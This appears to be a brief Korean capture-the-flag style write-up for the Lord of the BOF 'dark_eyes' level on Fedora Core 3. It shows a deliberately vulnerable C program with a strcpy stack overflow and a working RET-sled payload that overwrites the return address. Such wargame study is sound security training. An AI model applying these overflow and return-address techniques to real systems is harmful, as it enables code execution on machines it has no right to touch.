[LOB FC3] iron_golem -> dark_eyes

/*
    The Lord of the BOF : The Fellowship of the BOF 
    - dark_eyes
    - Local BOF on Fedora Core 3 
    - hint : RET sleding
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
    
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
   
    // save sfp 
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, argv[1]);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    printf("%s\n", buffer);
}
 

이것이야 말로... ret sled네

저번에 한대로 그대로 하겠다. 여기 참고 http://xerxes-break.tistory.com/260?category=729571

0x080484b9 <main+177>: ret

payload : ./dark_eyes "`python -c 'print("A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a")'`"